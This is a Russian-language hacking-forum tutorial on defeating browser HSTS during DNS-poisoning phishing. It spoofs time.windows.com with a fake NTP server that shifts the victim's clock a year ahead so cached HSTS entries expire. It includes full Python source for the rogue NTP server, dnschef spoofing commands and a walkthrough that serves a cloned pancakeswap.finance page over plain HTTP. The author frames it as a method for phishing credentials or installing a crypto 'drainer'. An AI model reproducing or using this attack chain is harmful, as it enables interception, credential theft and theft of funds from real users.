LIMB
Вход Регистрация

тема

Обход HSTS при mitm и фишинг атаках через вредоносный DNS

zecu · · 0 ответов · 491 просмотров

Обход HSTS при mitm и фишинг атаках через вредоносный DNS

Всем привет, любой кому на практике в реальной жизни приходилось реализовывать таргетные или массовые mitm атаки, или отравления dns серверов - сталкивались с защитой HSTS которая сильно портит всю малину

Http Strict Transport Security - (аббривеатура по первым буквам) это механизм который появился в браузерах примерно в 2013. Он заставляет браузеры использовать ТОЛЬКО HTTPS соединения для определённых доменов, предотвращая атаки mitm и downgrade HTTPS к HTTP (которые реализиуются например через инструменты типа sslstrip).


HSTS также защищает при фишинге через вредоносный dns - днс сервер хакера возвращает левый ip для домена (например для paypal.com), браузер юзера сначала подключается к нему по tcp, затем просит tls сертификат для paypal.com (которого у нас конечно же нету) - и далее обычно мы пытаемся сделать одно из двух:
1)перевести юзера на http что фишить прямо на оригинальном домене (без зеленого замочка)
2) перевести юзера на http и вернуть ему html страницу с моментальным редиректом на наш похожий фишинг домен с зеленым замочком (типо paypai.com)

Никакое из этих действий невозможно сделать если в браузере жертвы храниться HSTS запись - потому что оба требуют downgrade соединения до http. 
Браузер просто остановиться на l4 уровне соединения, не загрузив вообще никакой веб контент

Не удалось прогрузить медиа


HSTS устанавливается через http заголовок в ответе сайта, устанавливающий политику на определённый срок (max-age) при первом посещении сайта юзером.

Но для некоторых самых популярных сайтов hsts записи содержаться в браузере изначально, вот этот список https://source.chromium.org/chromiu...net/http/transport_security_state_static.json

В нем самые популярные сайты типо facebook, paypal, binance, bank of america и т.д

Пример этого http заголовка в ответе:

Не удалось прогрузить медиа



Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

где:
max-age: Указывает срок действия политики в секундах (например, 31536000 — это год)

includeSubdomains - необязательный параметр, если установлен, то политика HSTS применяется к посещенному домену и всем поддоменам. Если нет, то только к точному домену, который посетил пользователь.

preload: Опционально позволяет включить сайт в предзагруженный список браузеров для постоянной защиты.

Этот заголовок отправляется сервером в ответе на HTTPS-запрос и сохраняется браузером в отдельной памяти в бинарном файле на указанный срок

%LOCALAPPDATA%\Google\Chrome\User Data\Default\Network\TransportSecurity у Chrome

%APPDATA%\Mozilla\Firefox\Profiles\<profile>\SiteSecurityServiceState.txt у firefox

Во время сессии браузер держит копию HSTS-таблицы в оперативной памяти для быстрых проверок. При закрытии браузера таблица синхронизируется с дисковой версией.

После истечения срока действия hsts записи (определяемого параметром max-age), браузер считает её "expired", если дата истечения находится в прошлом. Браузер может удалить такие истекшие записи из своего кэша hsts хостов. Это предотвращает накопление устаревших политик и позволяет браузеру вернуться к обычному поведению (разрешить HTTP, если сайт не в предзагруженном списке).

Еще раз, после истечения hsts записи браузер ее удаляет, и в этом заключается наш главный трюк. Что если изменить системное время юзера немного в будущее, когда запись будет считаться истекшей. Но как это сделать? В Windows система узнает время через обращение к NTP серверам по протоколу udp и без шифрования, что означает что если мы выступаем в качестве mitm - можем легко перехватить и модифицировать ответ на запрос текущего времени.

В Windows по умолчанию используется сервер через домен time.windows.com, а не конкретный захардкоженный ip адрес - а это значит что если мы используем фишинг через отравленный или вредоносный DNS сервер, мы можем подменить и time.windows.com, вернув юзеру время с небольшим смещением в будущее

Служба времени Windows (W32Time) отвечает за синхронизацию времени, она запускается автоматически и периодически отправляет запросы к NTP серверам. Windows использует UDP порт 123 для связи с NTP серверами. Сервер возвращает временную метку, которую система корректирует с учетом задержек сети.

Кроме time.windows.com также могут быть запросы к региональным поддоменам пула, например:
0.pool.ntp.org
1.pool.ntp.org

Или региональным серверам, например europe.pool.ntp.org (для Европы).
У других устройств (андроид и эпл) это time.android.com, time.apple.com, time-ios.apple.com
Этот обход сработает только для доменов которых нет в HSTS preload https://source.chromium.org/chromiu...net/http/transport_security_state_static.json
Если домен в предзагруженном списке, изменение времени не поможет, поскольку preload игнорирует локальный кэш, не может быть просрочен и всегда использует HTTPS

Реализация​

Напишем на питоне NTPv4 сервер, который на запросы времени будет отвечать со смещением в будущее на год %текущее время% + 31536000 секунд
Python:
#!/usr/bin/env python3



import socket


import struct


import time


import threading



NTP_EPOCH = 2208988800


YEAR_AHEAD = 31_536_000



SERVER_PORT = 123


BIND_ADDRESS = '0.0.0.0'


BUFFER_SIZE = 1024



def unix_to_ntp_timestamp(unix_time):


    ntp = unix_time + NTP_EPOCH


    sec = int(ntp)


    frac = int((ntp - sec) * (1 << 32))


    return sec, frac



def pack_ntp_timestamp(sec, frac):


    return struct.pack('!II', sec, frac)



def handle_request(data, addr, sock):


    if len(data) < 48:


        return


    li_vn_mode = data[0]


    version = (li_vn_mode >> 3) & 0x07


    mode = li_vn_mode & 0x07


    try:


        originate_ts_sec, originate_ts_frac = struct.unpack('!II', data[40:48])


    except struct.error:


        originate_ts_sec = originate_ts_frac = 0


    now_unix = time.time()


    server_time_shifted = now_unix + YEAR_AHEAD


    recv_sec, recv_frac = unix_to_ntp_timestamp(server_time_shifted)


    tx_sec, tx_frac = recv_sec, recv_frac


    ref_sec, ref_frac = recv_sec, recv_frac


    vn = version if 1 <= version <= 4 else 4


    li = 0


    mode_server = 4


    first_byte = (li << 6) | (vn << 3) | mode_server


    stratum = 1


    poll = 0


    precision = -20


    root_delay = 0


    root_dispersion = 0


    ref_id = b'LOCL'


    pkt = struct.pack('!B B b b', first_byte, stratum, poll, precision)


    pkt += struct.pack('!I I', root_delay, root_dispersion)


    pkt += ref_id


    pkt += pack_ntp_timestamp(ref_sec, ref_frac)


    pkt += struct.pack('!II', originate_ts_sec, originate_ts_frac)


    pkt += pack_ntp_timestamp(recv_sec, recv_frac)


    pkt += pack_ntp_timestamp(tx_sec, tx_frac)


    if len(pkt) < 48:


        pkt = pkt.ljust(48, b'\x00')


    try:


        sock.sendto(pkt, addr)


    except Exception:


        pass



def serve(address=BIND_ADDRESS, port=SERVER_PORT):


    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)


    sock.bind((address, port))


    print(f'NTP (fast-by-1-year) server listening on {address}:{port}')


    try:


        while True:


            data, addr = sock.recvfrom(BUFFER_SIZE)


            threading.Thread(target=handle_request, args=(data, addr, sock), daemon=True).start()


    except KeyboardInterrupt:


        pass


    finally:


        sock.close()



if __name__ == '__main__':


    serve()

Запускаем

Не удалось прогрузить медиа

для теста устанавливаем ntpsec-ntpdat
и пробуем сделать запрос времени ntpdate -q 127.0.0.1


Не удалось прогрузить медиа


Видим что сервер возвращает время которое спешит на год. Не обязательно использовать такой большой срок, иногда хватает месяца или полгода

Теперь запускаем dnschef, с аргументом на подмену домена time.windows.com на ip нашего сервера

dnschef --interface 0.0.0.0 --fakeip 127.0.0.1 --fakedomains time.windows.com

Не удалось прогрузить медиа

Медиа заблокировано
Этот домен не входит в список разрешённых для медиа.
Формат: изображения / GIFДомен: 1761108090980.png
Разрешённые домены
  • imgur.com
  • ru.imgbb.com
  • prnt.sc
  • imgbb.com
  • ibb.co
  • i.imgur.com
  • i.ibb.co
  • darklimb.vip
  • i.pinimg.com
  • img3.teletype.in
  • img4.teletype.in
  • teletype.in
  • pikabu.ru
  • cs15.pikabu.ru
  • img2.teletype.in
  • lh7-rt.googleusercontent.com
  • duty-files.cc
  • blogger.googleusercontent.com

аргумент --interface 0.0.0.0 указывает что нужно слушать все интерфейсы
на другой виртуалке рядом у меня поднята винда, и при запросе

Пробуем узнать время напрямую в винде, посмотреть что возращает наш фейк ntp сервер

Вводим команду w32tm /stripchart /computer:192.168.189.130 /samples:5 /dataonly

Не удалось прогрузить медиа

И видим то что все работает, наш фейк ntp возвращает смещенное на 31536000 секунд вперед время.

Открываем в браузере на виртуалке https://pancakeswap.finance, чтобы браузер получил и сохранил hsts запись, пока что все нормально, мы видим оригинальный сайт

Не удалось прогрузить медиа

Траффик этой виртуалки проксируется через виртуальный dhcp, в котором dns указан 172.30.94.80 - это наш сервер на котором запущенн dnschef и фейк ntp сервер

При следующием обновлении времени (один раз в несколько дней) на компьютере жертвы (если у нее в роутере прописан наш dns) время сместиться и все сохраненные HSTS записи (кроме preload) удаляться из браузера до следующего посещения сайта с HSTS

Мы можем не ждать несколько дней, а запустить синхронизацию принудительно

Очищаем кеш днс и пробуем синхронизировать время на виртуалке через  w32tm /resync

Наш dnschef отдает для time.windows.com наш 172.30.94.80 где крутиться фейк ntp сервер, запрос идет к нему и он возвращает винде смещенное на год время

Для теста мы выбрали pancakeswap.finance, у них как раз есть HSTS заголовок в ответе

Не удалось прогрузить медиа

Медиа заблокировано
Этот домен не входит в список разрешённых для медиа.
Формат: изображения / GIFДомен: 1761181910044.png
Разрешённые домены
  • imgur.com
  • ru.imgbb.com
  • prnt.sc
  • imgbb.com
  • ibb.co
  • i.imgur.com
  • i.ibb.co
  • darklimb.vip
  • i.pinimg.com
  • img3.teletype.in
  • img4.teletype.in
  • teletype.in
  • pikabu.ru
  • cs15.pikabu.ru
  • img2.teletype.in
  • lh7-rt.googleusercontent.com
  • duty-files.cc
  • blogger.googleusercontent.com

Теперь я скачаю главную страницу сайта и весь используемый ею js и css контент, немного модифицирую чтобы вы увидели разницу и запущу на своем веб сервере, который будет отвечать на запросы с заголовком Host: pancakeswap.finance

А в dnschef укажу чтобы резолвил домен pancakeswap.finance на мой фишинг веб сервер

Не удалось прогрузить медиа


Время смещенно, dnschef запущен, фишинг вебсервер запущен, теперь закрываем браузер, очищаем dns кеш (он сам очищается через время, но мы не хотим ждать для теста) и открываем тот же панкейксвап, и...

Не удалось прогрузить медиа

Медиа заблокировано
Этот домен не входит в список разрешённых для медиа.
Формат: изображения / GIFДомен: screen.jpg
Разрешённые домены
  • imgur.com
  • ru.imgbb.com
  • prnt.sc
  • imgbb.com
  • ibb.co
  • i.imgur.com
  • i.ibb.co
  • darklimb.vip
  • i.pinimg.com
  • img3.teletype.in
  • img4.teletype.in
  • teletype.in
  • pikabu.ru
  • cs15.pikabu.ru
  • img2.teletype.in
  • lh7-rt.googleusercontent.com
  • duty-files.cc
  • blogger.googleusercontent.com

Вуаля, браузер получил веб контент, без принудительного требования TLS сертификата, как будто никакого hsts и не было. Обратите внимание на надпись в центре и отсутсвие https, это не оригинальный сайт. Здесь я просто изменил надпись на глав странице, в реальных атаках вешают дрейнер или фишинг кредов

Таким методом вы можете обходить hsts веб защиту и успешно фишить любые сайты если жерта использует ваш днс. Конечно метод не всегда работает моментально, должно совпасть несколько факторов: время винды обновляется раз в несколько дней, и очистка днс кеша (сохраненных ip для уже посещенных доменов) тоже раз в неколько дней.

Надеюсь статья кому то поможет в нужный момент, когда придет время и это пригодиться

Всем удачи и успехов в хакинге : )
👍47 🔥8 🤔9 😢6 💯7

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.